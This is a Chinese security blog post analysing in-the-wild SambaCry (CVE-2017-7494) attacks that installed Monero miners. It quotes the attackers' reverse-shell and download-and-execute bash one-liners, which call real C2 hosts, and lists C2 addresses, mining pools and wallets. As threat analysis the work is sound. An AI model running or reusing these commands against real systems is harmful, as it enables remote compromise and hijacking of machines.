2017-06-13 11:16:08
阅读:1937次
点赞(0)
收藏
来源: 奇虎360技术博客
作者:360网络安全响应中心
传送门
【漏洞分析】Samba远程代码执行漏洞(CVE-2017-7494)-SambaCry分析报告
Author: redrain & houjingyi159 @360网络安全响应中心
“2017年5月24日Samba发布了4.6.4版本,中间修复了一个严重的远程代码执行漏洞,漏洞编号CVE-2017-7494,漏洞影响了Samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本。360网络安全中心 和 360信息安全部的Gear Team第一时间对该漏洞进行了分析,确认属于严重漏洞,可以造成远程代码执行。”——http://bobao.360.cn/learning/detail/3915.html
SambaCry漏洞是一个具备规模传播的蠕虫性质漏洞,近期卡巴斯基安全实验室通过蜜罐捕获了一个通过SambaCry漏洞恶意利用bot进行区块连数字货币挖矿的攻击。
在此,360网络安全中心和360追日团队对该事件所使用的后门进行了具体的技术分析。
漏洞利用
因为该漏洞需要对smb共享盘符有可写权限,从卡巴斯基实验室的蜜罐捕获的攻击包来看,攻击者首先对server尝试写入一个随机字符名的文件,成功后则删除。
在检测成功有可写权限后,攻击者暴力猜解写入文件的完整路径,以获得共享目录路径,并写入恶意lib作为payload。
在爆破到正确的路径后,则利用CVE-2017-7494漏洞加载恶意lib执行命令,因为samba默认是以root权限启动,所以之后加载lib执行的命令也将以root权限执行,成功利用后,则删除写入的lib,只在内存中执行恶意命令操作。
恶意lib样本349d84b3b176bbc9834230351ef3bc2a_16106.so(INAebsGB.so)和2009af3fed2a4704c224694dfc4b31dc_30361.so(cblRWuoCc.so)
样本分析
在INAebsGB.so中,攻击者用/bin/sh执行了一个非常简单的反弹shell操作,从而执行下载文件或者执行后续命令。
发现这个lib其实就是metasploit的is_known_pipename模块生成的。
其后,写入了另一个libcblRWuoCc.so,在这个lib中,攻击者,反弹shell到C2服务器4000端口并下载了一个挖矿程序,将bot作为CPU矿机使用,这个样本中,我们定位了C2服务器和挖矿程序。
执行的行为中:
bash-i</dev/tcp/rc.ezreal.space/4000||((wgethttp://rc.ezreal.space/minerd64_s-O/tmp/m||curlhttp://rc.ezreal.space/minerd64_s-o/tmp/m)&&chmod+x/tmp/m&&(nohup/tmp/m&))攻击者下载http://rc.ezreal.space/minerd64_s并存于/tmp/m赋予权限后nohup执行。
简单对C2服务器查询如下:
rc.ezreal.space A记录149.255.35.33 时间IP国家省/州运营商 2017-05-17149.255.35.33美国伊利诺伊州swiftway.net 2017-05-15149.255.35.33美国伊利诺伊州swiftway.net 2017-04-30185.86.150.76瑞典西约塔兰省 www.ezreal.space191.101.31.100 cl.ezreal.space191.101.31.100 rc2.ezreal.space149.255.35.77 rc.ezreal.space149.255.35.33typo黑客?
在我连接C2服务器rc.ezreal.space4000端口后,看到了以下脚本:
#!/usr/bin/envbash host='149.255.35.33'; nohupbash-i</dev/tcp/${host}/4001& nohuobash-i</dev/tcp/${host}/4002& nohuobash-i</dev/tcp/${host}/4003&攻击者本想通过nohup来忽略系统挂断进行后台运行,但不知道是不是粗心手抖的原因,nohup打成了nohuo
访问其他三个端口,得到这几个脚本:
/tmpnc149.255.35.334001 #!/usr/bin/envbash #minerdscript host='149.255.35.33'; target=$RANDOM;target+=.so;target=/tmp/$target; cat</dev/tcp/${host}/5000>$target&&chmod+x$target&&nohup$target& /tmpnc149.255.35.334002 #!/usr/bin/envbash #processguardscript /tmpnc149.255.35.334003 #!/usr/bin/envbash #autostartscript%C2中5000端口获取到的miner程序和从http中下载获得的一致
miner分析
到现在为止,这个C2服务器依旧存活,下载minerd64_s并简单分析,发现就是个常见的CPU挖矿程序miderd但是攻击者并没有像常见的附加参数,而是把所有参数硬编码进程序puts了需要执行的参数。
在这里很快找到了攻击者的矿池和钱包地址:
.rodata:000000000051560400000026Cstratum+tcp://xmr.crypto-pool.fr:3333 .rodata:00000000005156CC00000060C43xtViRHn1oibjS6yZSgS6XhFFkSRGC5SHgmymH6ei4r5osjPrC1z85BeCZS89ZtL4iDGDoUhEoKtcVe115Wp7sB6XzHmgy通过矿池Transaction查询,得知该攻击者挖的是一种山寨币’XDN’和’XMR’,查看近期的转入情况,发现收益还不错:)
另一次攻击
本以为至此我们的分析和卡巴斯基相差无二准备下班回家,但发现360追日团队还提供了一个样本1bb17e0d03ebd5acafbe60b70e38dec4.so(oooo.so)
该lib和cblRWuoCc.so非常类似,但是执行操作并不同
仅仅只是反弹连接了C2服务器的一个端口,连接后返回一个shell脚本:
#!/usr/bin/envbash #minerdscript pkill.so; host='45.76.146.166'; target=$RANDOM;target+=.so;target=/tmp/$target; cat</dev/tcp/${host}/5555>$target&&chmod+x$target&&nohup$target&访问45.76.146.166:5555 又得到一个miner程序,该miner的区别在于矿池和钱包地址
.rodata:000000000051560400000024Cstratum+tcp://pool.minexmr.com:4444 .rodata:00000000005156CC00000060C4AxoWMDfiPkh1PDHeyDi2TRpHC8hxHKY6ACtWRSY9Um4PuwPqjn9vAhdsSshmGu1RbZBUgKX42f584jGENHwXxsVGENHoGV总结
从SambaCry漏洞披露之初我们就预计将会有黑客对其进行恶意利用,并从中获利,联想到不久前因为EternalBlue爆发的Wannacry事件,黑客攻击正在变得常态化,尤其是有通用且极易利用漏洞曝光时,攻击事件也可能随之而来。随着比特币的增值,其他虚拟货币价值也伴随增长,这也给黑客通过网络攻击进行获利提供了变现渠道。。
时间线
2017-5-24 Samba发布了4.6.4版本,修复了远程代码执行漏洞CVE-2017-7494
2017-5-25 360网络安全响应中心和360信息安全部联合发布预警公告和第一份漏洞分析
2017-5-30 卡巴斯基安全实验室首次通过蜜罐捕获了SambaCry的野外恶意利用
2017-6-12 360网络安全响应中心和360追日团队联合对攻击方式进行技术分析
参考来源
https://securelist.com/sambacry-is-coming/78674/
传送门
【漏洞分析】Samba远程代码执行漏洞(CVE-2017-7494)-SambaCry分析报告
本文转载自 奇虎360技术博客
原文链接:http://blogs.360.cn/blog/sambacry-%E9%87%8E%E5%A4%96%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90/